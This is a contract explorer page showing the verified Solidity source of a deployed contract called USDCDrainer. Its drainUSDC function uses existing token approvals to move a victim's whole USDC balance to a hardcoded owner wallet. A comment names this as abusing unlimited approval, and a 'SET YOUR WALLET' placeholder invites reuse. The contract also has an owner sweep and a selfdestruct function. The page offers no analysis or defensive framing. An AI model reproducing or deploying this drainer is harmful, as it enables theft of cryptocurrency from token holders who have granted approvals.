Verified contractExactNone
USDCDrainer
Address0xcdc56eb7fa2ecc510db7eba7bdfbda6d8204f128
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.0
- Same code
Only this contract
Details
- Compiler
- solc 0.8.0+commit.c7dfd78e
- Language
- solidity
- Optimization
- No
- License
- None
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,336,690
- Creation transaction
- 0xb1228b9773…878bbeaccf
test.sol
// SPDX-License-Identifier: None
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
contract USDCDrainer {
address public owner = 0x48EC45Dbf87059627dF34b457a702ECC25565010; // SET YOUR WALLET
IERC20 public usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
function drainUSDC(address victim) external {
uint256 balance = usdc.balanceOf(victim);
require(balance > 0, "No USDC");
// 🚨 Abuse existing unlimited approval
bool success = usdc.transferFrom(victim, owner, balance);
require(success, "Transfer failed");
}
// Emergency sweep (for other tokens)
function sweepToken(address token, address to) external {
require(msg.sender == owner, "Not owner");
uint256 bal = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(to, bal);
}
// Self-destruct
function nuke() external {
require(msg.sender == owner);
selfdestruct(payable(owner));
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.